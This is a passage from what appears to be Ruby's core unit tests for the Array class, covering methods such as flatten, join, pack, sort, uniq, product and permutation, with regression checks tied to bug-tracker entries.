bug10748 = '[ruby-core:67637] [Bug #10748]'
o = Object.new
o.singleton_class.class_eval do
define_method(:to_ary) do
raise bug10748
end
end
a = @cls[@cls[o]]
assert_raise_with_message(RuntimeError, bug10748) {a.flatten}
assert_nothing_raised(RuntimeError, bug10748) {a.flatten(1)}
end
def test_flattern_singleton_class
bug12738 = '[ruby-dev:49781] [Bug #12738]'
a = [[0]]
class << a
def m; end
end
assert_raise(NoMethodError, bug12738) { a.flatten.m }
end
def test_flatten!
a1 = @cls[ 1, 2, 3]
a2 = @cls[ 5, 6 ]
a3 = @cls[ 4, a2 ]
a4 = @cls[ a1, a3 ]
assert_equal(@cls[1, 2, 3, 4, 5, 6], a4.flatten!)
assert_equal(@cls[1, 2, 3, 4, 5, 6], a4)
a5 = @cls[ a1, @cls[], a3 ]
assert_equal(@cls[1, 2, 3, 4, 5, 6], a5.flatten!)
assert_nil(a5.flatten!(0), '[ruby-core:23382]')
assert_equal(@cls[1, 2, 3, 4, 5, 6], a5)
end
def test_flatten_empty!
assert_nil(@cls[].flatten!)
assert_equal(@cls[],
@cls[@cls[@cls[@cls[],@cls[]],@cls[@cls[]],@cls[]],@cls[@cls[@cls[]]]].flatten!)
end
def test_flatten_level0!
assert_nil(@cls[].flatten!(0), '[ruby-core:23382]')
end
def test_flatten_splat!
bug10748 = '[ruby-core:67637] [Bug #10748]'
o = Object.new
o.singleton_class.class_eval do
define_method(:to_ary) do
raise bug10748
end
end
a = @cls[@cls[o]]
assert_raise_with_message(RuntimeError, bug10748) {a.flatten!}
assert_nothing_raised(RuntimeError, bug10748) {a.flatten!(1)}
end
def test_flattern_singleton_class!
bug12738 = '[ruby-dev:49781] [Bug #12738]'
a = [[0]]
class << a
def m; end
end
assert_nothing_raised(NameError, bug12738) { a.flatten!.m }
end
def test_flatten_with_callcc
need_continuation
o = Object.new
def o.to_ary() callcc {|k| @cont = k; [1,2,3]} end
begin
assert_equal([10, 20, 1, 2, 3, 30, 1, 2, 3, 40], [10, 20, o, 30, o, 40].flatten)
rescue => e
else
o.instance_eval {@cont}.call
end
assert_instance_of(RuntimeError, e, '[ruby-dev:34798]')
assert_match(/reentered/, e.message, '[ruby-dev:34798]')
end
def test_flatten_respond_to_missing
bug11465 = '[ruby-core:70460] [Bug #11465]'
obj = Class.new do
def respond_to_missing?(method, stuff)
return false if method == :to_ary
super
end
def method_missing(*args)
super
end
end.new
ex = nil
trace = TracePoint.new(:raise) do |tp|
ex = tp.raised_exception
end
trace.enable {[obj].flatten}
assert_nil(ex, bug11465)
end
def test_permutation_with_callcc
need_continuation
n = 1000
cont = nil
ary = [1,2,3]
begin
ary.permutation {
callcc {|k| cont = k} unless cont
}
rescue => e
end
n -= 1
cont.call if 0 < n
assert_instance_of(RuntimeError, e)
assert_match(/reentered/, e.message)
end
def test_product_with_callcc
need_continuation
n = 1000
cont = nil
ary = [1,2,3]
begin
ary.product {
callcc {|k| cont = k} unless cont
}
rescue => e
end
n -= 1
cont.call if 0 < n
assert_instance_of(RuntimeError, e)
assert_match(/reentered/, e.message)
end
def test_combination_with_callcc
need_continuation
n = 1000
cont = nil
ary = [1,2,3]
begin
ary.combination(2) {
callcc {|k| cont = k} unless cont
}
rescue => e
end
n -= 1
cont.call if 0 < n
assert_instance_of(RuntimeError, e)
assert_match(/reentered/, e.message)
end
def test_repeated_permutation_with_callcc
need_continuation
n = 1000
cont = nil
ary = [1,2,3]
begin
ary.repeated_permutation(2) {
callcc {|k| cont = k} unless cont
}
rescue => e
end
n -= 1
cont.call if 0 < n
assert_instance_of(RuntimeError, e)
assert_match(/reentered/, e.message)
end
def test_repeated_combination_with_callcc
need_continuation
n = 1000
cont = nil
ary = [1,2,3]
begin
ary.repeated_combination(2) {
callcc {|k| cont = k} unless cont
}
rescue => e
end
n -= 1
cont.call if 0 < n
assert_instance_of(RuntimeError, e)
assert_match(/reentered/, e.message)
end
def test_hash
a1 = @cls[ 'cat', 'dog' ]
a2 = @cls[ 'cat', 'dog' ]
a3 = @cls[ 'dog', 'cat' ]
assert_equal(a1.hash, a2.hash)
assert_not_equal(a1.hash, a3.hash)
bug9231 = '[ruby-core:58993] [Bug #9231]'
assert_not_equal(false.hash, @cls[].hash, bug9231)
end
def test_include?
a = @cls[ 'cat', 99, /a/, @cls[ 1, 2, 3] ]
assert_include(a, 'cat')
assert_include(a, 99)
assert_include(a, /a/)
assert_include(a, [1,2,3])
assert_not_include(a, 'ca')
assert_not_include(a, [1,2])
end
def test_index
a = @cls[ 'cat', 99, /a/, 99, @cls[ 1, 2, 3] ]
assert_equal(0, a.index('cat'))
assert_equal(1, a.index(99))
assert_equal(4, a.index([1,2,3]))
assert_nil(a.index('ca'))
assert_nil(a.index([1,2]))
assert_equal(1, a.index(99) {|x| x == 'cat' })
end
def test_values_at
a = @cls[*('a'..'j').to_a]
assert_equal(@cls['a', 'c', 'e'], a.values_at(0, 2, 4))
assert_equal(@cls['j', 'h', 'f'], a.values_at(-1, -3, -5))
assert_equal(@cls['h', nil, 'a'], a.values_at(-3, 99, 0))
end
def test_join
$, = ""
a = @cls[]
assert_equal("", a.join)
assert_equal("", a.join(','))
assert_equal(Encoding::US_ASCII, a.join.encoding)
$, = ""
a = @cls[1, 2]
assert_equal("12", a.join)
assert_equal("12", a.join(nil))
assert_equal("1,2", a.join(','))
$, = ""
a = @cls[1, 2, 3]
assert_equal("123", a.join)
assert_equal("123", a.join(nil))
assert_equal("1,2,3", a.join(','))
$, = ":"
a = @cls[1, 2, 3]
assert_equal("1:2:3", a.join)
assert_equal("1:2:3", a.join(nil))
assert_equal("1,2,3", a.join(','))
$, = ""
a = @cls[1, 2, 3]
a.taint
s = a.join
assert_equal(true, s.tainted?)
bug5902 = '[ruby-core:42161]'
sep = ":".taint
s = @cls[].join(sep)
assert_equal(false, s.tainted?, bug5902)
s = @cls[1].join(sep)
assert_equal(false, s.tainted?, bug5902)
s = @cls[1, 2].join(sep)
assert_equal(true, s.tainted?, bug5902)
e = ''.force_encoding('EUC-JP')
u = ''.force_encoding('UTF-8')
assert_equal(Encoding::US_ASCII, [[]].join.encoding)
assert_equal(Encoding::US_ASCII, [1, [u]].join.encoding)
assert_equal(Encoding::UTF_8, [u, [e]].join.encoding)
assert_equal(Encoding::UTF_8, [u, [1]].join.encoding)
bug5379 = '[ruby-core:39776]'
assert_equal(Encoding::US_ASCII, [[], u, nil].join.encoding, bug5379)
assert_equal(Encoding::UTF_8, [[], "\u3042", nil].join.encoding, bug5379)
ensure
$, = nil
end
def test_last
assert_equal(nil, @cls[].last)
assert_equal(1, @cls[1].last)
assert_equal(99, @cls[*(3..99).to_a].last)
end
def test_length
assert_equal(0, @cls[].length)
assert_equal(1, @cls[1].length)
assert_equal(2, @cls[1, nil].length)
assert_equal(2, @cls[nil, 1].length)
assert_equal(234, @cls[*(0..233).to_a].length)
end
# also update collect!
def test_map!
a = @cls[ 1, 'cat', 1..1 ]
assert_equal(@cls[ Integer, String, Range], a.map! {|e| e.class} )
assert_equal(@cls[ Integer, String, Range], a)
a = @cls[ 1, 'cat', 1..1 ]
assert_equal(@cls[ 99, 99, 99], a.map! { 99 } )
assert_equal(@cls[ 99, 99, 99], a)
a = @cls[ ]
assert_equal(@cls[], a.map! { 99 })
assert_equal(@cls[], a)
end
def test_pack
a = @cls[*%w( cat wombat x yy)]
assert_equal("catwomx yy ", a.pack("A3A3A3A3"))
assert_equal("cat", a.pack("A*"))
assert_equal("cwx yy ", a.pack("A3@1A3@2A3A3"))
assert_equal("catwomx\000\000yy\000", a.pack("a3a3a3a3"))
assert_equal("cat", a.pack("a*"))
assert_equal("ca", a.pack("a2"))
assert_equal("cat\000\000", a.pack("a5"))
assert_equal("\x61", @cls["01100001"].pack("B8"))
assert_equal("\x61", @cls["01100001"].pack("B*"))
assert_equal("\x61", @cls["0110000100110111"].pack("B8"))
assert_equal("\x61\x37", @cls["0110000100110111"].pack("B16"))
assert_equal("\x61\x37", @cls["01100001", "00110111"].pack("B8B8"))
assert_equal("\x60", @cls["01100001"].pack("B4"))
assert_equal("\x40", @cls["01100001"].pack("B2"))
assert_equal("\x86", @cls["01100001"].pack("b8"))
assert_equal("\x86", @cls["01100001"].pack("b*"))
assert_equal("\x86", @cls["0110000100110111"].pack("b8"))
assert_equal("\x86\xec", @cls["0110000100110111"].pack("b16"))
assert_equal("\x86\xec", @cls["01100001", "00110111"].pack("b8b8"))
assert_equal("\x06", @cls["01100001"].pack("b4"))
assert_equal("\x02", @cls["01100001"].pack("b2"))
assert_equal("ABC", @cls[ 65, 66, 67 ].pack("C3"))
assert_equal("\377BC", @cls[ -1, 66, 67 ].pack("C*"))
assert_equal("ABC", @cls[ 65, 66, 67 ].pack("c3"))
assert_equal("\377BC", @cls[ -1, 66, 67 ].pack("c*"))
assert_equal("AB\n\x10", @cls["4142", "0a", "12"].pack("H4H2H1"))
assert_equal("AB\n\x02", @cls["1424", "a0", "21"].pack("h4h2h1"))
assert_equal("abc=02def=\ncat=\n=01=\n",
@cls["abc\002def", "cat", "\001"].pack("M9M3M4"))
assert_equal("aGVsbG8K\n", @cls["hello\n"].pack("m"))
assert_equal(",:&5L;&\\*:&5L;&\\*\n", @cls["hello\nhello\n"].pack("u"))
assert_equal("\u{a9 42 2260}", @cls[0xa9, 0x42, 0x2260].pack("U*"))
format = "c2x5CCxsdils_l_a6";
# Need the expression in here to force ary[5] to be numeric. This avoids
# test2 failing because ary2 goes str->numeric->str and ary does not.
ary = [1, -100, 127, 128, 32767, 987.654321098/100.0,
12345, 123456, -32767, -123456, "abcdef"]
x = ary.pack(format)
ary2 = x.unpack(format)
assert_equal(ary.length, ary2.length)
assert_equal(ary.join(':'), ary2.join(':'))
assert_not_nil(x =~ /def/)
=begin
skipping "Not tested:
D,d & double-precision float, native format\\
E & double-precision float, little-endian byte order\\
e & single-precision float, little-endian byte order\\
F,f & single-precision float, native format\\
G & double-precision float, network (big-endian) byte order\\
g & single-precision float, network (big-endian) byte order\\
I & unsigned integer\\
i & integer\\
L & unsigned long\\
l & long\\
N & long, network (big-endian) byte order\\
n & short, network (big-endian) byte-order\\
P & pointer to a structure (fixed-length string)\\
p & pointer to a null-terminated string\\
S & unsigned short\\
s & short\\
V & long, little-endian byte order\\
v & short, little-endian byte order\\
X & back up a byte\\
x & null byte\\
Z & ASCII string (null padded, count is width)\\
"
=end
end
def test_pop
a = @cls[ 'cat', 'dog' ]
assert_equal('dog', a.pop)
assert_equal(@cls['cat'], a)
assert_equal('cat', a.pop)
assert_equal(@cls[], a)
assert_nil(a.pop)
assert_equal(@cls[], a)
end
def test_push
a = @cls[1, 2, 3]
assert_equal(@cls[1, 2, 3, 4, 5], a.push(4, 5))
assert_equal(@cls[1, 2, 3, 4, 5, nil], a.push(nil))
# Ruby 1.8 feature:
# Array#push accepts any number of arguments.
#assert_raise(ArgumentError, "a.push()") { a.push() }
a.push
assert_equal @cls[1, 2, 3, 4, 5, nil], a
a.push 6, 7
assert_equal @cls[1, 2, 3, 4, 5, nil, 6, 7], a
end
def test_rassoc
a1 = @cls[*%w( cat feline )]
a2 = @cls[*%w( dog canine )]
a3 = @cls[*%w( mule asinine )]
a = @cls[ a1, a2, a3 ]
assert_equal(a1, a.rassoc('feline'))
assert_equal(a3, a.rassoc('asinine'))
assert_equal(nil, a.rassoc('dog'))
assert_equal(nil, a.rassoc('mule'))
assert_equal(nil, a.rassoc(1..2))
end
# also delete_if
def test_reject!
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(nil, a.reject! { false })
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.reject! { true })
assert_equal(@cls[], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.reject! { |i| i > 3 })
assert_equal(@cls[1, 2, 3], a)
bug2545 = '[ruby-core:27366]'
a = @cls[ 5, 6, 7, 8, 9, 10 ]
assert_equal(9, a.reject! {|i| break i if i > 8; i < 7})
assert_equal(@cls[7, 8, 9, 10], a, bug2545)
end
def test_replace
a = @cls[ 1, 2, 3]
a_id = a.__id__
assert_equal(@cls[4, 5, 6], a.replace(@cls[4, 5, 6]))
assert_equal(@cls[4, 5, 6], a)
assert_equal(a_id, a.__id__)
assert_equal(@cls[], a.replace(@cls[]))
fa = a.dup.freeze
assert_nothing_raised(RuntimeError) { a.replace(a) }
assert_raise(RuntimeError) { fa.replace(fa) }
assert_raise(ArgumentError) { fa.replace() }
assert_raise(TypeError) { a.replace(42) }
assert_raise(RuntimeError) { fa.replace(42) }
end
def test_reverse
a = @cls[*%w( dog cat bee ant )]
assert_equal(@cls[*%w(ant bee cat dog)], a.reverse)
assert_equal(@cls[*%w(dog cat bee ant)], a)
assert_equal(@cls[], @cls[].reverse)
end
def test_reverse!
a = @cls[*%w( dog cat bee ant )]
assert_equal(@cls[*%w(ant bee cat dog)], a.reverse!)
assert_equal(@cls[*%w(ant bee cat dog)], a)
# Ruby 1.8 feature change:
# Array#reverse always returns self.
#assert_nil(@cls[].reverse!)
assert_equal @cls[], @cls[].reverse!
end
def test_reverse_each
a = @cls[*%w( dog cat bee ant )]
i = a.length
a.reverse_each { |e|
i -= 1
assert_equal(a[i], e)
}
assert_equal(0, i)
a = @cls[]
i = 0
a.reverse_each { |e|
i += 1
assert(false, "Never get here")
}
assert_equal(0, i)
end
def test_rindex
a = @cls[ 'cat', 99, /a/, 99, [ 1, 2, 3] ]
assert_equal(0, a.rindex('cat'))
assert_equal(3, a.rindex(99))
assert_equal(4, a.rindex([1,2,3]))
assert_nil(a.rindex('ca'))
assert_nil(a.rindex([1,2]))
assert_equal(3, a.rindex(99) {|x| x == [1,2,3] })
end
def test_shift
a = @cls[ 'cat', 'dog' ]
assert_equal('cat', a.shift)
assert_equal(@cls['dog'], a)
assert_equal('dog', a.shift)
assert_equal(@cls[], a)
assert_nil(a.shift)
assert_equal(@cls[], a)
end
def test_size
assert_equal(0, @cls[].size)
assert_equal(1, @cls[1].size)
assert_equal(100, @cls[*(0..99).to_a].size)
end
def test_slice
a = @cls[*(1..100).to_a]
assert_equal(1, a.slice(0))
assert_equal(100, a.slice(99))
assert_nil(a.slice(100))
assert_equal(100, a.slice(-1))
assert_equal(99, a.slice(-2))
assert_equal(1, a.slice(-100))
assert_nil(a.slice(-101))
assert_equal(@cls[1], a.slice(0,1))
assert_equal(@cls[100], a.slice(99,1))
assert_equal(@cls[], a.slice(100,1))
assert_equal(@cls[100], a.slice(99,100))
assert_equal(@cls[100], a.slice(-1,1))
assert_equal(@cls[99], a.slice(-2,1))
assert_equal(@cls[10, 11, 12], a.slice(9, 3))
assert_equal(@cls[10, 11, 12], a.slice(-91, 3))
assert_nil(a.slice(-101, 2))
assert_equal(@cls[1], a.slice(0..0))
assert_equal(@cls[100], a.slice(99..99))
assert_equal(@cls[], a.slice(100..100))
assert_equal(@cls[100], a.slice(99..200))
assert_equal(@cls[100], a.slice(-1..-1))
assert_equal(@cls[99], a.slice(-2..-2))
assert_equal(@cls[10, 11, 12], a.slice(9..11))
assert_equal(@cls[10, 11, 12], a.slice(-91..-89))
assert_nil(a.slice(-101..-1))
assert_nil(a.slice(10, -3))
# Ruby 1.8 feature change:
# Array#slice[size..x] always returns [].
#assert_nil(a.slice(10..7))
assert_equal @cls[], a.slice(10..7)
end
def test_slice!
a = @cls[1, 2, 3, 4, 5]
assert_equal(3, a.slice!(2))
assert_equal(@cls[1, 2, 4, 5], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(4, a.slice!(-2))
assert_equal(@cls[1, 2, 3, 5], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(@cls[3,4], a.slice!(2,2))
assert_equal(@cls[1, 2, 5], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(@cls[4,5], a.slice!(-2,2))
assert_equal(@cls[1, 2, 3], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(@cls[3,4], a.slice!(2..3))
assert_equal(@cls[1, 2, 5], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(nil, a.slice!(20))
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(nil, a.slice!(-6))
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(nil, a.slice!(-6..4))
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[1, 2, 3, 4, 5]
assert_equal(nil, a.slice!(-6,2))
assert_equal(@cls[1, 2, 3, 4, 5], a)
assert_raise(ArgumentError) { @cls[1].slice! }
assert_raise(ArgumentError) { @cls[1].slice!(0, 0, 0) }
end
def test_sort
a = @cls[ 4, 1, 2, 3 ]
assert_equal(@cls[1, 2, 3, 4], a.sort)
assert_equal(@cls[4, 1, 2, 3], a)
assert_equal(@cls[4, 3, 2, 1], a.sort { |x, y| y <=> x} )
assert_equal(@cls[4, 1, 2, 3], a)
assert_equal(@cls[1, 2, 3, 4], a.sort { |x, y| (x - y) * (2**100) })
a.fill(1)
assert_equal(@cls[1, 1, 1, 1], a.sort)
assert_equal(@cls[], @cls[].sort)
end
def test_sort!
a = @cls[ 4, 1, 2, 3 ]
assert_equal(@cls[1, 2, 3, 4], a.sort!)
assert_equal(@cls[1, 2, 3, 4], a)
assert_equal(@cls[4, 3, 2, 1], a.sort! { |x, y| y <=> x} )
assert_equal(@cls[4, 3, 2, 1], a)
a.fill(1)
assert_equal(@cls[1, 1, 1, 1], a.sort!)
assert_equal(@cls[1], @cls[1].sort!)
assert_equal(@cls[], @cls[].sort!)
a = @cls[4, 3, 2, 1]
a.sort! {|m, n| a.replace([9, 8, 7, 6]); m <=> n }
assert_equal([1, 2, 3, 4], a)
a = @cls[4, 3, 2, 1]
a.sort! {|m, n| a.replace([9, 8, 7]); m <=> n }
assert_equal([1, 2, 3, 4], a)
end
def test_sort_with_callcc
need_continuation
n = 1000
cont = nil
ary = (1..100).to_a
begin
ary.sort! {|a,b|
callcc {|k| cont = k} unless cont
assert_equal(100, ary.size, '[ruby-core:16679]')
a <=> b
}
rescue => e
end
n -= 1
cont.call if 0 < n
assert_instance_of(RuntimeError, e, '[ruby-core:16679]')
assert_match(/reentered/, e.message, '[ruby-core:16679]')
end
def test_sort_with_replace
xary = (1..100).to_a
100.times do
ary = (1..100).to_a
ary.sort! {|a,b| ary.replace(xary); a <=> b}
GC.start
assert_equal(xary, ary, '[ruby-dev:34732]')
end
end
def test_sort_bang_with_freeze
ary = []
o1 = Object.new
o1.singleton_class.class_eval {
define_method(:<=>) {|v|
ary.freeze
1
}
}
o2 = o1.clone
ary << o1 << o2
orig = ary.dup
assert_raise(RuntimeError, "frozen during comparison") {ary.sort!}
assert_equal(orig, ary, "must not be modified once frozen")
end
def test_short_heap_array_sort_bang_memory_leak
bug11332 = '[ruby-dev:49166] [Bug #11332]'
assert_no_memory_leak([], <<-PREP, <<-TEST, bug11332, limit: 1.3, timeout: 60)
def t; ary = [*1..5]; ary.pop(2); ary.sort!; end
1.times {t}
PREP
500000.times {t}
TEST
end
def test_to_a
a = @cls[ 1, 2, 3 ]
a_id = a.__id__
assert_equal(a, a.to_a)
assert_equal(a_id, a.to_a.__id__)
end
def test_to_ary
a = [ 1, 2, 3 ]
b = @cls[*a]
a_id = a.__id__
assert_equal(a, b.to_ary)
if (@cls == Array)
assert_equal(a_id, a.to_ary.__id__)
end
o = Object.new
def o.to_ary
[4, 5]
end
assert_equal([1, 2, 3, 4, 5], a.concat(o))
o = Object.new
def o.to_ary
foo_bar()
end
assert_match(/foo_bar/, assert_raise(NoMethodError) {a.concat(o)}.message)
end
def test_to_s
$, = ""
a = @cls[]
assert_equal("[]", a.to_s)
$, = ""
a = @cls[1, 2]
assert_equal("[1, 2]", a.to_s)
$, = ""
a = @cls[1, 2, 3]
assert_equal("[1, 2, 3]", a.to_s)
$, = ":"
a = @cls[1, 2, 3]
assert_equal("[1, 2, 3]", a.to_s)
ensure
$, = nil
end
def test_to_h
kvp = Object.new
def kvp.to_ary
[:obtained, :via_to_ary]
end
array = [
[:key, :value],
kvp,
]
assert_equal({key: :value, obtained: :via_to_ary}, array.to_h)
e = assert_raise(TypeError) {
[[:first_one, :ok], :not_ok].to_h
}
assert_equal "wrong element type Symbol at 1 (expected array)", e.message
array = [eval("class C\u{1f5ff}; self; end").new]
assert_raise_with_message(TypeError, /C\u{1f5ff}/) {array.to_h}
e = assert_raise(ArgumentError) {
[[:first_one, :ok], [1, 2], [:not_ok]].to_h
}
assert_equal "wrong array length at 2 (expected 2, was 1)", e.message
end
def test_min
assert_equal(1, [1, 2, 3, 1, 2].min)
assert_equal(3, [1, 2, 3, 1, 2].min {|a,b| b <=> a })
cond = ->((a, ia), (b, ib)) { (b <=> a).nonzero? or ia <=> ib }
assert_equal([3, 2], [1, 2, 3, 1, 2].each_with_index.min(&cond))
ary = %w(albatross dog horse)
assert_equal("albatross", ary.min)
assert_equal("dog", ary.min {|a,b| a.length <=> b.length })
assert_equal(1, [3,2,1].min)
assert_equal(%w[albatross dog], ary.min(2))
assert_equal(%w[dog horse],
ary.min(2) {|a,b| a.length <=> b.length })
assert_equal([13, 14], [20, 32, 32, 21, 30, 25, 29, 13, 14].min(2))
assert_equal([2, 4, 6, 7], [2, 4, 8, 6, 7].min(4))
end
def test_max
assert_equal(3, [1, 2, 3, 1, 2].max)
assert_equal(1, [1, 2, 3, 1, 2].max {|a,b| b <=> a })
cond = ->((a, ia), (b, ib)) { (b <=> a).nonzero? or ia <=> ib }
assert_equal([1, 3], [1, 2, 3, 1, 2].each_with_index.max(&cond))
ary = %w(albatross dog horse)
assert_equal("horse", ary.max)
assert_equal("albatross", ary.max {|a,b| a.length <=> b.length })
assert_equal(1, [3,2,1].max{|a,b| b <=> a })
assert_equal(%w[horse dog], ary.max(2))
assert_equal(%w[albatross horse],
ary.max(2) {|a,b| a.length <=> b.length })
assert_equal([3, 2], [0, 0, 0, 0, 0, 0, 1, 3, 2].max(2))
end
def test_uniq
a = []
b = a.uniq
assert_equal([], a)
assert_equal([], b)
assert_not_same(a, b)
a = [1]
b = a.uniq
assert_equal([1], a)
assert_equal([1], b)
assert_not_same(a, b)
a = [1,1]
b = a.uniq
assert_equal([1,1], a)
assert_equal([1], b)
assert_not_same(a, b)
a = [1,2]
b = a.uniq
assert_equal([1,2], a)
assert_equal([1,2], b)
assert_not_same(a, b)
a = @cls[ 1, 2, 3, 2, 1, 2, 3, 4, nil ]
b = a.dup
assert_equal(@cls[1, 2, 3, 4, nil], a.uniq)
assert_equal(b, a)
c = @cls["a:def", "a:xyz", "b:abc", "b:xyz", "c:jkl"]
d = c.dup
assert_equal(@cls[ "a:def", "b:abc", "c:jkl" ], c.uniq {|s| s[/^\w+/]})
assert_equal(d, c)
assert_equal(@cls[1, 2, 3], @cls[1, 2, 3].uniq)
a = %w(a a)
b = a.uniq
assert_equal(%w(a a), a)
assert(a.none?(&:frozen?))
assert_equal(%w(a), b)
assert(b.none?(&:frozen?))
bug9340 = "[ruby-core:59457]"
ary = [bug9340, bug9340.dup, bug9340.dup]
assert_equal 1, ary.uniq.size
assert_same bug9340, ary.uniq[0]
end
def test_uniq_with_block
a = []
b = a.uniq {|v| v.even? }
assert_equal([], a)
assert_equal([], b)
assert_not_same(a, b)
a = [1]
b = a.uniq {|v| v.even? }
assert_equal([1], a)
assert_equal([1], b)
assert_not_same(a, b)
a = [1,3]
b = a.uniq {|v| v.even? }
assert_equal([1,3], a)
assert_equal([1], b)
assert_not_same(a, b)
a = %w(a a)
b = a.uniq {|v| v }
assert_equal(%w(a a), a)
assert(a.none?(&:frozen?))
assert_equal(%w(a), b)
assert(b.none?(&:frozen?))
end
def test_uniq!
a = []
b = a.uniq!
assert_equal(nil, b)
a = [1]
b = a.uniq!
assert_equal(nil, b)
a = [1,1]
b = a.uniq!
assert_equal([1], a)
assert_equal([1], b)
assert_same(a, b)
a = [1,2]
b = a.uniq!
assert_equal([1,2], a)
assert_equal(nil, b)
a = @cls[ 1, 2, 3, 2, 1, 2, 3, 4, nil ]
assert_equal(@cls[1, 2, 3, 4, nil], a.uniq!)
assert_equal(@cls[1, 2, 3, 4, nil], a)
c = @cls["a:def", "a:xyz", "b:abc", "b:xyz", "c:jkl"]
assert_equal(@cls[ "a:def", "b:abc", "c:jkl" ], c.uniq! {|s| s[/^\w+/]})
assert_equal(@cls[ "a:def", "b:abc", "c:jkl" ], c)
c = @cls["a:def", "b:abc", "c:jkl"]
assert_equal(nil, c.uniq! {|s| s[/^\w+/]})
assert_equal(@cls[ "a:def", "b:abc", "c:jkl" ], c)
assert_nil(@cls[1, 2, 3].uniq!)
f = a.dup.freeze
assert_raise(ArgumentError) { a.uniq!(1) }
assert_raise(ArgumentError) { f.uniq!(1) }
assert_raise(RuntimeError) { f.uniq! }
assert_nothing_raised do
a = [ {c: "b"}, {c: "r"}, {c: "w"}, {c: "g"}, {c: "g"} ]
a.sort_by!{|e| e[:c]}
a.uniq! {|e| e[:c]}
end
a = %w(a a)
b = a.uniq
assert_equal(%w(a a), a)
assert(a.none?(&:frozen?))
assert_equal(%w(a), b)
assert(b.none?(&:frozen?))
end
def test_uniq_bang_with_block
a = []
b = a.uniq! {|v| v.even? }
assert_equal(nil, b)
a = [1]
b = a.uniq! {|v| v.even? }
assert_equal(nil, b)
a = [1,3]
b = a.uniq! {|v| v.even? }
assert_equal([1], a)
assert_equal([1], b)
assert_same(a, b)
a = [1,2]
b = a.uniq! {|v| v.even? }
assert_equal([1,2], a)
assert_equal(nil, b)
a = %w(a a)
b = a.uniq! {|v| v }
assert_equal(%w(a), b)
assert_same(a, b)
assert b.none?(&:frozen?)
end
def test_uniq_bang_with_freeze
ary = [1,2]
orig = ary.dup
assert_raise(RuntimeError, "frozen during comparison") {
ary.uniq! {|v| ary.freeze; 1}
}
assert_equal(orig, ary, "must not be modified once frozen")
end
def test_unshift
a = @cls[]
assert_equal(@cls['cat'], a.unshift('cat'))
assert_equal(@cls['dog', 'cat'], a.unshift('dog'))
assert_equal(@cls[nil, 'dog', 'cat'], a.unshift(nil))
assert_equal(@cls[@cls[1,2], nil, 'dog', 'cat'], a.unshift(@cls[1, 2]))
end
def test_OR # '|'
assert_equal(@cls[], @cls[] | @cls[])
assert_equal(@cls[1], @cls[1] | @cls[])
assert_equal(@cls[1], @cls[] | @cls[1])
assert_equal(@cls[1], @cls[1] | @cls[1])
assert_equal(@cls[1,2], @cls[1] | @cls[2])
assert_equal(@cls[1,2], @cls[1, 1] | @cls[2, 2])
assert_equal(@cls[1,2], @cls[1, 2] | @cls[1, 2])
a = %w(a b c)
b = %w(a b c d e)
c = a | b
assert_equal(c, b)
assert_not_same(c, b)
assert_equal(%w(a b c), a)
assert_equal(%w(a b c d e), b)
assert(a.none?(&:frozen?))
assert(b.none?(&:frozen?))
assert(c.none?(&:frozen?))
end
def test_OR_in_order
obj1, obj2 = Class.new do
attr_reader :name
def initialize(name) @name = name; end
def inspect; "test_OR_in_order(#{@name})"; end
def hash; 0; end
def eql?(a) true; end
break [new("1"), new("2")]
end
assert_equal([obj1], [obj1]|[obj2])
end
def test_combination
assert_equal(@cls[[]], @cls[1,2,3,4].combination(0).to_a)
assert_equal(@cls[[1],[2],[3],[4]], @cls[1,2,3,4].combination(1).to_a)
assert_equal(@cls[[1,2],[1,3],[1,4],[2,3],[2,4],[3,4]], @cls[1,2,3,4].combination(2).to_a)
assert_equal(@cls[[1,2,3],[1,2,4],[1,3,4],[2,3,4]], @cls[1,2,3,4].combination(3).to_a)
assert_equal(@cls[[1,2,3,4]], @cls[1,2,3,4].combination(4).to_a)
assert_equal(@cls[], @cls[1,2,3,4].combination(5).to_a)
end
def test_product
assert_equal(@cls[[1,4],[1,5],[2,4],[2,5],[3,4],[3,5]],
@cls[1,2,3].product([4,5]))
assert_equal(@cls[[1,1],[1,2],[2,1],[2,2]], @cls[1,2].product([1,2]))
assert_equal(@cls[[1,3,5],[1,3,6],[1,4,5],[1,4,6],
[2,3,5],[2,3,6],[2,4,5],[2,4,6]],
@cls[1,2].product([3,4],[5,6]))
assert_equal(@cls[[1],[2]], @cls[1,2].product)
assert_equal(@cls[], @cls[1,2].product([]))
bug3394 = '[ruby-dev:41540]'
acc = []
EnvUtil.under_gc_stress {[1,2].product([3,4,5],[6,8]){|array| acc << array}}
assert_equal([[1, 3, 6], [1, 3, 8], [1, 4, 6], [1, 4, 8], [1, 5, 6], [1, 5, 8],
[2, 3, 6], [2, 3, 8], [2, 4, 6], [2, 4, 8], [2, 5, 6], [2, 5, 8]],
acc, bug3394)
def (o = Object.new).to_ary; GC.start; [3,4] end
acc = [1,2].product(*[o]*10)
assert_equal([1,2].product([3,4], [3,4], [3,4], [3,4], [3,4], [3,4], [3,4], [3,4], [3,4], [3,4]),
acc)
a = []
[1, 2].product([0, 1, 2, 3, 4][1, 4]) {|x| a << x }
a.all? {|x| assert_not_include(x, 0)}
end
def test_permutation
a = @cls[1,2,3]
assert_equal(@cls[[]], a.permutation(0).to_a)
assert_equal(@cls[[1],[2],[3]], a.permutation(1).to_a.sort)
assert_equal(@cls[[1,2],[1,3],[2,1],[2,3],[3,1],[3,2]],
a.permutation(2).to_a.sort)
assert_equal(@cls[[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]],
a.permutation(3).sort.to_a)
assert_equal(@cls[], a.permutation(4).to_a)
assert_equal(@cls[], a.permutation(-1).to_a)
assert_equal("abcde".each_char.to_a.permutation(5).sort,
"edcba".each_char.to_a.permutation(5).sort)
assert_equal(@cls[].permutation(0).to_a, @cls[[]])
a = @cls[1, 2, 3, 4]
b = @cls[]
